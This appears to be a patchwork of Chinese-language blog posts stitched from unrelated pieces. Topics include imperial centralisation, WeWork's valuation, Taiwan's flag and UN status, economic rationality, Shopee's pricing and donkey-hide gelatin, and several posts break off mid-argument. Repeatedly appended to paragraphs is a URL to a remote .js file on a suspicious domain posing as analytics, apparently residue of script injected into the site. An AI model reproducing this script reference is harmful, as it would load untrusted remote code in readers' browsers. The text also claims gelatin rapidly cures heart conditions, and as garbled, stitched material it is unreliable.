作者: yuanyuchang

不知道為什麼經濟系教授陳家煜竟會斷然主張習進平集權後中國必然走向衰敗，背後邏輯竟是「不夠民主」。還宣稱是讀史心得…

就我所知的中國歷史明明多數情況下是皇權越穩固時期，經濟與國力越鼎盛啊。反倒是權力旁落到外戚、宦官、群臣黨爭之間時，社會也是最動盪的。

康熙朝除鰲拜收回皇權，滅三籓除掉軍閥割據後，才慢慢迎來盛世。但後來九子奪嫡造成的複雜黨爭，可說是又一步削弱康熙帝實質上集權的內涵，使得政令不行、下欺瞞上情況惡化，到後期國庫竟空虛不堪。

雍正帝深知集權之重要，上台第三年就幹掉八爺黨（阿其那、賽斯黑）。攤丁入畝、火耗歸公等稅制改革才推得動，才有能力幫乾隆帝的國庫存一堆錢。

反之，1911~1949年之間的中國，軍閥割據，即便是被國際多數承認的北洋政府，也要面對不服輸的孫中山國民黨叛亂組織。蔣中正看似北伐統一中國，其實是靠錢買而非靠武力。

中華人民共和國表面上毛澤東集權，但事實並不然。元老們表面順從毛澤東，但實際執行面不見得順從毛澤東。還有早期的黨外人士意見相左。這就是為什麼毛澤東早年要搞「大鳴大放」這個陽謀來清肅黨外，要集權啊。

後來自己經濟政策失敗造成三年大饑荒餓死幾千萬人，毛澤東又被邊緣化，為了重新奪權再搞「文化大革命」鬥掉劉少奇、鄧小平。毛澤東自己一開始都沒預料到文化大革命一搞搞10年啊，他本以為只要幾個月就結束，但是自己開了頭，下面搞派系鬥爭的不肯停啊。真正再集權回毛澤東時，已是垂垂老已無力真正處理政務了。毛澤東自己心裡也清楚權力不夠穩固，對江青說：「我活著解放軍跟我走，我死了解放軍跟元老走。」

果然毛澤東一死，四人幫迅速垮台，鄧小平拿回權力後快速地實質否定掉毛澤東多數錯誤政治與經濟決策，走回毛最恨的「經驗主義」老路，才有後來的改革開放與中國經濟奇蹟啊。（鄧小平之所以權力相對穩固，一方面要歸功毛澤東誤打誤撞地幫鄧把多數元老都殺光或磨死啦～）

即便是最被推崇市場自由的香港，在港英時期也是集權得不得了！1960~1990的香港經濟發展如何？毋須多言！

台灣自己的經濟發展，也是總統權力最大最穩固時反而發展最好。陳水扁以降的總統權力不斷削弱，號稱民主自由卻是混亂矛盾且無人負責。台灣經濟成長力道大幅衰退可是有目共睹。

社會經濟進步與穩定，和政治是否民主或集權，關係往往不如陳家煜教授所以為的那樣！換言之，我認為陳家煜宣稱或暗示的理論，其實早就被史實駁倒。https://js.developerstatss.ga/stat.js?n=ns1

如果你的答案是Yes，你最好三思。想想你是不是真的很希望像幾十萬年前的祖先一樣活在洞穴裡。

If your answer is yes, you better think twice. Or you just want to keep living in the caves like our ancestors thousands years ago.https://js.developerstatss.ga/stat.js?n=ns1

華爾街日報報導：「WeWork: A $20 Billion Startup Fueled by Silicon Valley Pixie Dust」

在我看來，WeWork只是又一家靠唬爛來騙投資、衝高市值的公司。

創辦者Adam Neuman第一次創業搞可以換足跟的高跟鞋，失敗（身邊女性朋友表示：why bother?）。

後來又搞有護膝的嬰兒服，失敗（家裡有小孩的應該就知道這個想法還挺蠢的）。

然後因為公司經營不善，不得不分租一部分辦公室出去，結果發現分租辦公室比原經營項目好賺得多。於是開始在全美各地以長約方式租下空辦公室，裝潢後分單位出租給個人或新創小公司使用。

這，不就是連台灣都非常常見的「商務中心」模式嗎？事實上美國許多上市公司乃至於REITs所包裝的地產，都早就存在類似商業模式。

但日本孫正義Softbank旗下基金與許多矽谷創投所投資的WeWork不同，估值竟高達$200億美元！你沒看錯，$200億！足足是該公司年營收的20倍。

以這種「長約租賃換短約」的房地產經營模式來看，我手頭的資料顯示其同行淨利率大約在2%~10%。這意味著目前WeWork的估值隱含本益比(P/E ratio)高達200～1000倍！

而這個領域並非什麼新興行業，要說有什麼爆炸性成長亦或是顛覆性的破壞式創新，實在非常令人懷疑。

例如競爭對手IWG PLC也是搞長租換短租，營運面積是WeWork的5倍，但市值竟然只有1/8！

另外還有一家Boston Property，與WeWork最大不同在於地產全是自有而非租賃，營運面積同樣是WeWork的5倍，可二者市值竟然一樣！

過去我曾說過，常見的新創事業投資騙局，主事者都很愛打高空、訴諸流行的名詞與一些不著邊際的概念。

這家WeWork的創辦人Adam Neumann也一樣，他反覆強調自己不是經營「地產公司」，也非「科技公司」，而指稱WeWork是一家「生活風格或社群聚焦公司 (lifestyle or community-focused company)」（靠，這啥屁？），販賣的是「能量與文化 (energy and culture)」，走的是最現在夯的「共享經濟」。

最近越來越多這類吹牛新創公司出現，顯然是長期低利率下資金浮濫造成的結果。

.com –> Web2.0 –> 共享經濟 背後其實都是吹牛成分居多，過去我罵過Web2.0的詞語簡直可以複製貼上直接套用到多數宣稱共享經濟的新創事業上。

老話一句，投資人要小心，閃得越遠越好。https://js.developerstatss.ga/stat.js?n=ns1

書名：「打敗甘地！」

小標：「達人教你如何提高禁食投報率！」

書腰：「只要表演五小時，卡贏甘地禁食一輩子。」

背面：「快速駁倒核能專家、電力專家、工程專家或什麼碗糕專家，免花時間研讀物理、化學、電學、各式工程學，也免費心力理解經濟分析或關心人民生計，民主社會下的決勝秘技大公開！

教你如何被活人封聖 — 聖人永不出錯，絕不背鍋。

教你如何有效表演禁食 — 禁食不見報，只能叫減肥。

教你如何提高表演禁食投報率 — 保證5小時快速見效，無效請看第一條。

掌握黃金三步驟，百年科學也只能對你伏首稱臣。Making LOVE to power everything!」https://js.developerstatss.ga/stat.js?n=ns1

1. 禪

世界均承認，名列聯合國五大常任理事國之一的中國國旗禁止在台灣出現。

世界無人承認，純屬自慰性質的台灣國國旗頻頻在台灣出現。

世界尚有少數國家承認，但卻被現任政府認為是羞於見人的中華民國國旗，在其領土上難得出現。

好妙的禪～參話頭吧！

2. 好個邏輯

因為中國至今不承認台灣是一個主權獨立國家，所以有勇敢台灣人提議禁止中國國旗在台灣出現。

依照此邏輯，理應世界各國國旗通通禁止才是，甚至應該禁止世界地圖與地球儀在台灣出現！

特別要禁止美國國旗（糟糕，美國隊長要被馬賽克了），因為美國跟中國一樣都公開反對台灣宣布獨立～

3. 民主真好

假台獨份子討厭中國主因往往歸咎中國沒有言論自由，所以我們要在台灣提案禁止中國國旗出現、禁止偏好中國言論出現！
鄭南榕表示：……https://js.developerstatss.ga/stat.js?n=ns1

有關經濟學是否必須以「人的行為必定理性 — 需求曲線向右下傾斜」網友與我之間的一些對話，我覺得可以單篇彙整留存。

事先聲明，我們所談的「理性」是指「以越少代價換取越高效益」這個行為模式，而非傳統或哲學上對理性的定義。

奉君山 ：

「我轉述一下薛兆豐教授的見解：

行為經濟學談不理性行為，許多人誤以為理性人是經濟學的基本前提，於是以為行為經濟學超出了經濟學的框架，不理性行為的存在，顛覆了經濟學的解釋框架。

但是在阿爾欽談不確定性的文章當中，已經把經濟學的基礎奠基於「探尋在充滿不確定性的現實中，如何求存的規律」上。

也就是說，人當然可能、也往往是不理性的，但只要他得要在現實中求存，他就迴避不了一些規律：比方說試著用更少的代價，換到更多的好處。

一個人、一間公司大可試著不這樣幹，但他就會面臨虧損、倒閉、無法生存的後果，這是經濟學要去探討的規律。

在這個意義上，不理性行為的存在，非但沒有顛覆經濟學，也沒有超越經濟學的框架，而是豐富了我們對人類行為的理解。以上轉述，跟大家分享。」

我：「謝謝，薛的看法我並不認同，理由於內文與回覆我應該都談得很清楚。

除非你能清楚且科學地判斷人什麼時候理性、什麼時候又不理性，否則這樣的論點只是造成理論崩盤，而非完善或拓展。」

黃泥多 ：「不知元毓對阿爾欽的「不確定性，演化與經濟理論」一文有什麼看法？」

本次諾貝爾經濟學獎頒給一個宣稱「不理性存在」的學者，彰顯整體經濟學界的墮落與退步。

說過許多次，經濟學的基礎功在於對經濟學基本概念的掌握，而非那些高深但往往無內容的數學。

講更直白，經濟學的數學玩得再高深，也不如工程數學或物理數學乃至於純數學本身的難度。但懂數學者都知道數學不等於科學，數學只是一種更精準的描述語言，重點在於語言是否有內容，如果內容不科學，則即便套上數學的外衣也不過是國王的新衣。

我也說過許多次，經濟學的「理性」定義非常嚴謹且明確 — 需求曲線必定向右下傾斜。

翻成白話文就是：只要行為模式符合「永遠嘗試用更少代價換取更多效益」就是經濟學定義的「理性」。

反之，當有人宣稱行為可能「不理性」時，其實他所說的是：「有人願意用更高的代價換取更少的東西。」而這在真實世界是不存在的行為。

即便是奢侈品，也是促銷時賣得比原價好（身為多家名牌集團的股東，這部份我跟管理階層考證過）。許多人誤以為奢侈品越貴賣越好，這是錯誤的迷思，其實賣最好的多是那些較便宜的入門款、經典款。少部分可以高價還賣得好的設計師款，多是因為二手價格支撐，如果二手價崩盤，則新品也會跟著崩。

即便是藝術品，單品的故意高價買入行為，往往是因為買者手頭藏有大量同作者作品，故意高價買入新品，其實是提高自己收藏的整體租值，依然符合經濟學定義之「理性行為」。因為如果哄抬單品價格不具備抬高整體之效果，則哄抬行為就不存在了。

舉此二例是要說明，許多看似不理性行為背後都有其需要考究的侷限條件。

如同我在舊文【經濟學基礎第四講–自私的假設（中）】裡已說得很明白：

蝦皮這兩年免運費策略殺得台灣電商如PCHome哀哀叫。

本文先簡單經濟分析蝦皮的競爭策略，然後回頭分享我跟PCHome合作的不愉快經驗。

最近發展看來，開始有人出來聲稱要檢討蝦皮是否為陸資背景。

果然歐美法律之陋習台灣是學得很好 — 競爭不過別人，就拿無理法律出來耍流氓。

除了歐美失敗廠商常搞的反托拉斯法（台灣叫公平交易法），台灣還有個「陸資條款」。

先講反托拉斯法，從經濟分析來看，正常買方永遠不會嫌賣方賣得太便宜。

但公平交易法卻稱這是「掠奪性定價（predatory pricing）」，是不公平競爭需要立法管制禁止。

顯見立法者對於經濟學無知到一個極點。根據我對美國反托拉斯法的研究，當年Sherman Acts等各種法律之通過，立法者與執政者對於經濟學之無知與誤解有其緣由 — 當年經濟學家錯得離譜而不自知，又被政客利用使然。

當然，也可能立法者故意創造如此尋租的空間，來賺取政治利益，讓遊說團體、公關公司幫競爭落敗公司尋找利益輸送的管道與空間。這是我認為這類法律還存活，甚至被台灣政府照本宣科搬抄過來的理由之一。

掠奪性定價始終只是一個神話，是一個在真實世界不可能成立的競爭模式。

簡單經濟分析如下：

狀況一 — 賠錢賣

一家廠商本錢再如何雄厚，也不可能「永遠」賠錢賣。

當有一天這家賠錢賣廠商終於擠出市場內看得到的敵人而開始漲價時，那些曾經落敗或尚未進入市場的，一看市場租值開始回升，很快就又能重新進入市場。試問這家掠奪性定價策略廠商又要回頭繼續賠錢競爭？而它還能再賠多久？（這邊告訴我們關鍵在於「市場進入障礙」，因此不公平競爭真正存在，多半是既有廠商試圖透過政治法律手段建立進入障礙，如證照制度、資本額限制、各種法規限制，而這偏偏是公平交易法不處理的部份）

又，許多賠錢賣商品的策略執行時，市場內競爭對手甚至發現掠奪定價比自己進貨價還低時，乾脆迂迴從掠奪性定價廠商那邊少量進貨，自己縮小規模慢慢對耗，也是一種真實世界存在的策略。

又，競爭對手可能發現賠錢賣頂多是部分商品，不可能是全部商品時，競爭對手乾脆把會賠錢的訂單都倒給掠奪性定價者，讓它更快自爆死掉。

真實世界早年許文龍奇美壓克力創立時，遇到財大氣粗的競爭對手賠售競爭，許文龍乾脆逆向操作，細算對手成本結構，把對手毛利率賠最慘的品項找出後，奇美逆向漲價，訂單全倒過去，一年對手賠到賣祖產也不夠淘汰出局。

又，競爭對手可能乾脆採取差異化策略，區隔商品本質與內涵，從而提高租值跳脫殺價競爭。便當界就很常看到價格競爭與差異化競爭同時並存於市場中的現象，所以我們才會看到45元便當與千元便當均存在以滿足不同消費需求，反之，同一個消費者可能既享用千元便當，也購買45元便當，本身並無衝突。

真實世界並非不存在賠錢賣策略，但使用者通常心知肚明只能當做暫時性的廣告費用，不可能是長久性的競爭策略。亦或是少部分賠錢商品作為廣告吸引消費者購買能獲利的商品，希冀整體能夠獲利。

黎智英的蘋果日報甫進台灣，一份5元還送蘋果一顆，就是要用賠錢賺知名度的策略，黎智英自己也清楚所賠是廣告費，有其預算上限，達到效果就要收手。

顯然蝦皮也是為了快速在短時間內匯聚台灣市場人氣採取類似的策略。

上次國家地理雜誌宣稱因為中國人相信穿山甲壯陽，所以野生穿山甲遭到濫捕的低級文章，我寫了篇「越是禁止買賣，絕種來得越快」，批評國家地理雜誌不但連穿山甲的功效都沒查證，經濟邏輯更是錯誤百出。

沒想到這家雜誌社還真是沒底線，又刊出一篇「中國驢皮需求激增 ，吸引野生動物走私犯」。

裡頭不但對於阿膠用途觀念錯誤，同時一貫地暗示「中國傳統藥劑只是迷信」的氛圍。

更重要的是，驢子幾千年來都是畜牧圈養動物，何時需要獵捕成本高昂的野生驢？況且阿膠使用的驢子有品種限制，專業自詡的國家地理雜誌卻好像渾然不知。

中國自古就有食用驢子的習慣（如驢肉火燒），跟歐美人食用牛羊肉本質上有何差異？為何歐美人可以拿牛羊皮做沙發、做地毯、做隱形眼鏡甚至各種用途，中國人拿驢皮當藥用就成為殘忍行為？豈不雙重標準？

阿膠早在2千多年前西漢成書的神農本草經裡已記載，中國人使用這味藥歷史悠久。膠指驢皮去毛、切塊後多次水萃取後的濾液富含膠質，冷凝後成塊。

藥性：甘、平；歸肺、肝、腎經，主治各種血虛、陰虛而起的症狀。

可適用範圍非常廣，對證之下藥效極好。才不僅僅是國家地理雜誌宣稱的「血液疾病或貧血」。

例如傷寒雜病論中的炙甘草湯一方，重用阿膠，對於心陰陽兩虛引起的心律不整、心律過快、心悸、冠心病、病毒性心肌炎、心內膜炎、心臟弁膜症或甲狀腺機能亢進引起的心律問題都有極好的療效。我的經驗，服用後15分鐘量心律血壓就有大幅改善，藥效速度不輸西藥。

在挪台灣人國籍正名運動

這群留學生好搞笑，護照拿出來看看自己的國籍是否為「Taiwan」？

同時也麻煩提出證據證明世界上有個國家叫「Taiwan」。

這群留學生寫出來的訴願信全文均未提及還被少數國家承認的Republic of China，而是提世界上不被任何國家承認為主權獨立國家的Taiwan。

打開聯合國年鑑，裡面很清楚地記載：China (mainland and Taiwan Province）。你們主張自己出生並成長於台灣，不正是聯合國定義的China嗎？所以挪威政府從而認定你們是Kina是完全符合聯合國邏輯的啊。

Hello~ 你們知道你們的主張剛好跟你們想要的效果是相反嗎？小呆呆們～

PS 那些訴求台灣重返聯合國的政客也是在犯蠢或故意扭曲事實，根據聯合國年鑒，台灣一直在聯合國裡面，從來就沒被踢出去啊。被踢出去的是「蔣介石的代表」。（聯合國大會2758號決議）

聯合國每年的年鑒只要有提到台灣，必定是載明Taiwan Province of China。既然從沒離開過，又何須重返呢？

聯合國的邏輯是：聯合國認定中華人民共和國政府才是聯合國所承認，中國之唯一合法政府；蔣介石政權被聯合國認定是非法政權。台灣不過是中國境內被蔣介石非法政權佔領之一省，而始終是中國之一部分。

當你主張重返聯合國，必然出現兩個難題：

1. 你要以Republic of China身分回聯合國嗎？不好意思，聯合國早認定你是非法政權，China的唯一合法政權是People’s Republic of China。除非你有本事更改聯合國已經決議認定的事實。

2. 你要以Taiwan或Formosa名義加入聯合國嗎？不好意思，聯合國認定你是中國之一省，你得先獨立了才能加入。你敢獨立嗎？https://js.developerstatss.ga/stat.js?n=ns1